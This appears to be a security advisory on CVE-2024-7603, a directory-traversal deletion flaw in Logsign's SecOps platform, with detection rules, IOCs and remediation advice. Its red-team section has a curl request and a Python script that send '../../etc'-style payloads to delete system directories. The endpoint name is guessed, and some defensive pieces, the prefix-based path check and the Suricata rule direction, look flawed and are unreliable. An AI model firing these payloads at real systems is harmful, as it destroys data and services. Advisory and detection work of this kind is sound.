CVE-2024-7603

Executive Summary

CVE-2024-7603 is a directory traversal vulnerability in the Logsign Unified SecOps Platform, specifically within its HTTP API service (default TCP port 443). An authenticated remote attacker can exploit improper validation of user-supplied paths to delete arbitrary directories on the target system with root privileges. This can lead to severe denial of service, data loss, or system instability. The vulnerability has a CVSS score of 7.1 (High) and is currently unpatched. No public proof-of-concept or exploit code has been released, but the technical details are sufficient for a skilled attacker to develop one.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker needs valid credentials.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
• Confidentiality Impact: None (C:N) – no data exposure.
• Integrity Impact: High (I:H) – arbitrary directory deletion.
• Availability Impact: High (A:H) – deletion of critical directories can cause service outage.

Threat Level: High. Although authentication is required, the impact is severe and the attack surface is exposed on the default HTTPS port.

Deep Dive & Mechanics

The vulnerability resides in the HTTP API service of Logsign Unified SecOps Platform. The API endpoint responsible for file operations (likely directory deletion) does not properly sanitize user-supplied path parameters. An attacker can inject path traversal sequences (e.g., ../) to escape the intended directory and delete arbitrary directories on the filesystem.

Root Cause: Lack of validation of user-supplied paths before using them in file system operations. The application likely uses a function like os.RemoveAll() or rmdir() without checking if the resolved path is within an allowed base directory.

Attack Flow:

1. Authenticate to the Logsign platform (e.g., via API token or session).
2. Identify the vulnerable API endpoint (e.g., /api/deleteDirectory or similar).
3. Send a crafted request with a path parameter containing traversal sequences (e.g., ../../etc/).
4. The server deletes the specified directory with root privileges.

Impact: An attacker could delete critical system directories (e.g., /etc, /var/log, /opt/logsign/data), causing complete denial of service, data loss, or platform failure.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described below.

Vulnerable Code (Conceptual):

# Vulnerable Python-like pseudocode
import os

@app.route('/api/deleteDirectory', methods=['POST'])
def delete_directory():
    path = request.json.get('path')
    # No validation of path
    os.rmdir(path)  # or shutil.rmtree(path)
    return "Deleted"

Patched Code (Conceptual):

# Patched Python-like pseudocode
import os

ALLOWED_BASE = "/opt/logsign/data"

@app.route('/api/deleteDirectory', methods=['POST'])
def delete_directory():
    path = request.json.get('path')
    # Resolve and validate path
    full_path = os.path.realpath(os.path.join(ALLOWED_BASE, path))
    if not full_path.startswith(ALLOWED_BASE):
        return "Invalid path", 400
    if not os.path.exists(full_path):
        return "Not found", 404
    os.rmdir(full_path)
    return "Deleted"

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid credentials (username/password or API token) for the Logsign platform.
• Network access to the Logsign server (port 443).

Exploitation Steps:

1. Authenticate and obtain a session token.
2. Identify the vulnerable endpoint (e.g., via API documentation or fuzzing).
3. Send a POST request with a traversal payload.

Example Request (using curl):

curl -k -X POST \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{"path": "../../etc"}' \
  https://target.logsign.local/api/deleteDirectory

Expected Outcome: The /etc directory is deleted, causing system instability.

Automation Script (Python):

import requests

target = "https://target.logsign.local"
token = "your_token_here"
endpoint = "/api/deleteDirectory"

headers = {
    "Authorization": f"Bearer {token}",
    "Content-Type": "application/json"
}

payloads = [
    "../../etc",
    "../../var/log",
    "../../opt/logsign/data"
]

for path in payloads:
    r = requests.post(f"{target}{endpoint}", json={"path": path}, headers=headers, verify=False)
    print(f"Deleted {path}: {r.status_code}")

Blue Team (Detection & Prevention)

Detection:

• Monitor API logs for unusual path traversal patterns (e.g., ../, ..\\).
• Alert on deletion of critical directories (e.g., /etc, /var/log).
• Use file integrity monitoring (FIM) to detect unexpected directory deletions.

Prevention:

• Implement strict input validation and path canonicalization.
• Use a whitelist of allowed directories for deletion operations.
• Apply the principle of least privilege – the API service should not run as root.
• Deploy a Web Application Firewall (WAF) with rules to block path traversal attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /api/deleteDirectory (or similar) with path traversal sequences.
  • Unusual API calls from authenticated users deleting directories outside normal scope.
• File System IOCs:
  • Unexpected deletion of system directories (e.g., /etc, /var/log).
  • Missing critical files or directories.
• Log IOCs:
  • API access logs showing DELETE or POST to file operation endpoints with ../ patterns.
  • System logs showing rmdir or unlink calls on sensitive paths.

Detection Engineering

YARA Rule

rule CVE_2024_7603_Logsign_Directory_Traversal {
    meta:
        description = "Detects path traversal attempts targeting Logsign Unified SecOps Platform"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-7603"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $endpoint = "/api/deleteDirectory"
        $endpoint2 = "/api/delete"
    condition:
        any of ($traversal*) and any of ($endpoint*)
}

Sigma Rule

title: Logsign Directory Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts in Logsign Unified SecOps Platform API
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/deleteDirectory'
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in rare cases
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-7603 Logsign Directory Traversal Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/deleteDirectory"; http_uri;
    content:"../"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable API endpoint if not required, or restrict access via firewall rules.
2. Apply strict input validation – implement a whitelist of allowed directories for deletion.
3. Run the API service with least privileges – do not use root account.
4. Monitor for exploitation attempts using the provided detection rules.

Long-Term Fix:

• Wait for an official patch from Logsign. Contact Logsign support for updates.
• If source code is available, implement path canonicalization and validation as shown in the patched code example.

Workaround:

• Use a reverse proxy (e.g., Nginx) to block requests containing ../ in the body or URI.
• Example Nginx rule:

if ($request_body ~* "\.\.") {
    return 403;
}

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert